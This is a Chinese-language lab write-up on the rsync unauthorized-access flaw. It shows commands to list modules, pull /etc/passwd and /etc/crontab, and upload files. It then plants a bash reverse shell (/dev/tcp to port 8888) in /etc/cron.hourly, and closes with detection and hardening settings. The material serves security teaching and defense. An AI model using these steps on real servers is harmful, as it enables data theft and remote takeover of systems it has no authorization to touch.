漏洞简介

rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。

rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。

环境搭建

1
2
cd vulhub-master/rsync/common
docker-compose up -d

漏洞复现

rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件,rsync未授权访问漏洞的检测就是如此简单。

  1. nmap扫描目标系统是否开放rsync服务
1
nmap -sT -sV 127.0.0.1 -p 873

image-20220728105148907

  1. 使用如下两条命令之一,列出目标服务器的同步目录
1
2
3
4
rsync 127.0.0.1::
rsync rsync://127.0.0.1:873
//rsync ip::
//rsync rsync://ip:873

image-20220728105335451

  1. 查看模块文件

获取到目录之后,只需在路径后添加目录名即可查看目录中的文件

1
rsync rsync://127.0.0.1:873/src

image-20220728105527610

  1. 下载任意目录文件
1
2
rsync -av rsync://127.0.0.1:873/src/etc/passwd ./
//rsync -av rsync://127.0.0.1:873/src/路径

image-20220728105930269

  1. 向目标系统上传文件
1
2
rsync -av hack.txt rsync://127.0.0.1:873/src/tmp/
//rsync -av 文件路径 rsync://127.0.0.1:873/src/路径

image-20220728110154025

反弹shell

  1. 下载cron定时任务配置文件并且查看任务内容
1
2
3
rsync -av rsync://127.0.0.1:873/src/etc/crontab ./
//17 * * * * root cd / && run-parts --report /etc/cron.hourly
//表示17分钟会启动/etc/cron.hourly目录下文件的任务

image-20220728112743649

  1. 创建shell文件,写入反弹shell命令
1
2
!/bin/bash
/bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
  1. 上传shell文件到/etc/cron.hourly目录下
1
rsync -av shell rsync://127.0.0.1:873/src/etc/cron.hourly

漏洞检测

nmap

1
nmap -p 873 --script rsync-list-modules 127.0.0.1

image-20220728110508368

metasploit

1
2
3
use auxiliary/scanner/rsync/modules_list
set rhosts 127.0.0.1
run

image-20220728110706206

漏洞修复

rsync的配置文件位于/etc/rsync.conf,配置文件参数说明:

1
2
3
4
5
6
7
8
9
10
11
12
motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。

访问控制:设置hosts allow,设置允许访问ip白名单

权限控制:设置read only,将模块设置成已读

访问认证:设置auth、secrets,认证成功才能使用服务